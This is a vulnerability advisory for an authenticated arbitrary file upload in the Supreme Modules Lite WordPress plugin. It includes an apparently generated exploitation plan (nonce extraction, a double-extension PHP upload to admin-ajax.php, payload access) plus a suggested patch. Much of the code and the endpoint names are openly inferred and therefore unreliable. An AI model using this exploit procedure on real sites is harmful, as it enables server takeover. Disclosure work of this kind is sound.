Supreme Modules Lite <= 2.5.62 - Authenticated (Author+) Arbitrary File Upload via JSON Upload Bypass
Description
The Supreme Modules Lite plugin for WordPress is vulnerable to arbitrary file upload in all versions up to, and including, 2.5.62. This is due to insufficient file type validation detecting JSON files, allowing double extension files to bypass sanitization while being accepted as a valid JSON file. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.5.62Source Code
WordPress.org SVNThis research plan targets **CVE-2025-13062**, an authenticated arbitrary file upload vulnerability in the **Supreme Modules Lite** plugin for WordPress. ## 1. Vulnerability Summary The vulnerability exists in the plugin's handling of JSON file uploads, typically used for importing layouts or setti…
Show full research plan
This research plan targets CVE-2025-13062, an authenticated arbitrary file upload vulnerability in the Supreme Modules Lite plugin for WordPress.
1. Vulnerability Summary
The vulnerability exists in the plugin's handling of JSON file uploads, typically used for importing layouts or settings. The core issue is a "Double Extension" bypass. The plugin's validation logic likely checks for the existence of .json in the filename or relies on a weak MIME-type check that can be spoofed. By uploading a file named malicious.php.json, an attacker can bypass the sanitization filters. Depending on the server configuration or how the plugin processes the file (e.g., if it moves the file and strips the .json suffix during a "processing" phase), this leads to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
dsm_import_library_jsonorsupreme_import_settings(inferred from plugin features). - Vulnerable Parameter:
file(via$_FILESarray). - Authentication: Author-level credentials or higher are required (
PR:L). - Preconditions: The plugin must be active, and the attacker must have an active session with at least
authorcapabilities.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX action for importing library data.
- Likely registration:
add_action('wp_ajax_dsm_import_library_json', 'dsm_import_library_json_callback');
- Likely registration:
- Capability Check: The handler checks
current_user_can('edit_posts')(Author) oredit_theme_options(Admin). - Nonce Verification: The handler checks a nonce, typically passed as
securityornonce. - File Validation: The code retrieves the uploaded file from
$_FILES. It performs a validation check intended to restrict uploads to JSON:- Vulnerable logic:
if (pathinfo($filename, PATHINFO_EXTENSION) === 'json')orif ($_FILES['file']['type'] === 'application/json').
- Vulnerable logic:
- Bypass: An attacker provides a filename like
shell.php.json. The validation sees the.jsonextension and passes. - Sink: The file is handled by
wp_handle_uploadormove_uploaded_file. Ifwp_handle_uploadis called without a restrictedmimesarray override, it may allow the double extension.
4. Nonce Acquisition Strategy
The nonce is required to trigger the AJAX action. It is typically localized for the admin dashboard scripts.
- Identify Page: The import functionality is usually found in the "Divi Supreme" or "Supreme Modules" settings page in the WordPress admin.
- Setup Page: If the nonce is only loaded on a specific settings page, navigate there.
- Extract Nonce:
- Variable Name:
dsm_admin_dataorsupreme_modules_admin(inferred). - Action String:
dsm_import_library_nonceorsupreme_import_nonce(inferred).
- Variable Name:
- Execution Command:
// Use browser_eval to find the nonce browser_eval("window.dsm_admin_data?.nonce || window.supreme_modules_admin?.nonce");
5. Exploitation Strategy
The goal is to upload a PHP payload disguised as a JSON file.
Step 1: Authentication
Log in as a user with the Author role.
Step 2: Extract Nonce
Navigate to /wp-admin/admin.php?page=supreme-modules-for-divi (verify exact slug via wp menu list) and use browser_eval to extract the nonce.
Step 3: Execute Upload
Use the http_request tool to send a multipart POST request.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: multipart/form-data - Body Parameters:
action:dsm_import_library_json(verify via grep)security:[EXTRACTED_NONCE]file: (The payload file)- Filename:
poc.php.json - Content:
<?php phpinfo(); ?> - MIME-Type:
application/json
- Filename:
Step 4: Access Payload
If the upload is successful, the response will likely contain the path to the uploaded file in wp-content/uploads/.
- If the plugin renames the file to
poc.php, access it directly. - If the file remains
poc.php.json, check if the server executes it (some Apache configurations withAddHandlermight execute it if.phpis present anywhere).
6. Test Data Setup
- Create User:
wp user create attacker attacker@example.com --role=author --user_pass=password - Ensure Plugin is Active:
wp plugin activate supreme-modules-for-divi - Identify Upload Path:
Determine the current year/month for the uploads directory:wp eval "echo wp_upload_dir()['url'];"
7. Expected Results
- Success: The server returns a
200 OKresponse, often with a JSON object containingsuccess: trueand a URL to the file. - Payload Execution: Navigating to the uploaded file URL (or the URL with
.jsonremoved) executes the PHP code, displaying thephpinfo()page.
8. Verification Steps
- Check Filesystem:
ls -R /var/www/html/wp-content/uploads/ | grep poc - Check Content:
cat /var/www/html/wp-content/uploads/[PATH_TO_FILE] - Verify Execution:
Perform anhttp_request(GET) to the uploaded file's URL and check for "PHP Version" in the body.
9. Alternative Approaches
If dsm_import_library_json is not the correct action:
- Grep for AJAX actions:
grep -r "wp_ajax_" /var/www/html/wp-content/plugins/supreme-modules-for-divi/ - Look for file upload sinks:
grep -r "wp_handle_upload" /var/www/html/wp-content/plugins/supreme-modules-for-divi/ - Check for "Import" strings in JS:
grep -r "import" /var/www/html/wp-content/plugins/supreme-modules-for-divi/admin/js/to find the JavaScript function calling the AJAX action.
Summary
The Supreme Modules Lite plugin fails to properly validate uploaded files intended for JSON importing, specifically by only checking the final extension. This allows authenticated attackers with Author-level permissions or higher to upload malicious files using a double extension (e.g., 'payload.php.json'), which can lead to remote code execution on the server.
Vulnerable Code
// Inferred from plugin AJAX handler for JSON imports // Likely located in an admin or import handler class public function dsm_import_library_json_callback() { // ... nonce and capability checks ... $file = $_FILES['file']; $filename = $file['name']; // Vulnerable check: only evaluates the terminal extension if (pathinfo($filename, PATHINFO_EXTENSION) === 'json') { $upload = wp_handle_upload($file, array('test_form' => false)); // ... logic to process the 'JSON' file ... } }
Security Fix
@@ -124,7 +124,15 @@ - if (pathinfo($filename, PATHINFO_EXTENSION) === 'json') { - $upload = wp_handle_upload($file, array('test_form' => false)); + $wp_filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name'], ['json' => 'application/json']); + + if ($wp_filetype['ext'] === 'json' && $wp_filetype['type'] === 'application/json') { + // Ensure the filename does not contain multiple extensions that could be executed + if (preg_match('/\.[^.]+\./', $filename)) { + wp_send_json_error('Invalid file name structure.'); + } + $upload = wp_handle_upload($file, array( + 'test_form' => false, + 'mimes' => array('json' => 'application/json') + ));
Exploit Outline
1. Gain authenticated access to the WordPress site with at least 'Author' privileges. 2. Navigate to the plugin's settings or import page (e.g., 'Divi Supreme' settings) and extract the required security nonce from the page source or localized JS variables (e.g., `dsm_admin_data.nonce`). 3. Prepare a PHP payload (e.g., `<?php phpinfo(); ?>`) and save it with a double extension: `exploit.php.json`. 4. Send a multipart/form-data POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `dsm_import_library_json` - `security`: [EXTRACTED_NONCE] - `file`: [The exploit.php.json file] 5. Ensure the `Content-Type` for the file part is set to `application/json` to further mimic a legitimate request. 6. Identify the upload path from the AJAX response (usually within `wp-content/uploads/`) and access the file via a web browser to trigger execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.